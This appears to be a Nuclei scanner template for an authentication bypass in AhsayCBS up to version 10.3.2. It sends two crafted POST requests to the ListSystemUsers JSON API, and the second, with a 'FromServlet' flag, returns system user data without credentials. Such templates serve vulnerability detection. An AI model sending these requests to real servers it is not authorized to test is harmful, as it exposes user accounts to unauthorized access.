Copy
id: CVE-2026-105133
info:
name: AhsayCBS - JSON API Authentication Bypass
author: alex
severity: medium
description: |
Ahsay AhsayCBS <= 10.3.2 contains an authentication bypass caused by manipulation of the "random" argument in checkSysPwd function of API component, letting remote attackers bypass authentication, exploit requires crafted argument manipulation.
impact: |
Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
remediation: |
Upgrade to version 10.3.4.
reference:
- https://www.ahsay.com/en/company/announcements
- https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/
- https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE
- https://nvd.nist.gov/vuln/detail/CVE-2026-105133
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2026-105133
epss-score: 0.84478
epss-percentile: 0.99702
cwe-id: CWE-287
metadata:
verified: false
max-request: 2
vendor: ahsay
product: ahsaycbs
tags: cve,cve2026,ahsay,ahsaycbs,auth-bypass,vuln,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /obs/api/json/ListSystemUsers.do HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "application/json")'
- 'contains_all(body, "\"Status\":\"Error\"", "\"Parameter SysUser is null\"")'
condition: and
- raw:
- |
POST /obs/api/json/ListSystemUsers.do HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"FromServlet":"Y"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "application/json")'
- 'contains_all(body, "\"Status\":\"OK\"", "\"Data\"")'
condition: and
# digest: 4a0a004730450221009e35bb1a74e03cfc5dc304c727ed0aea80e3685559ed856e58ca0fe260b969e502205b63e6eb0856d5fe1dc9c6e5bf580afa4beab23e102e69fb374f6760cfacb3dd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.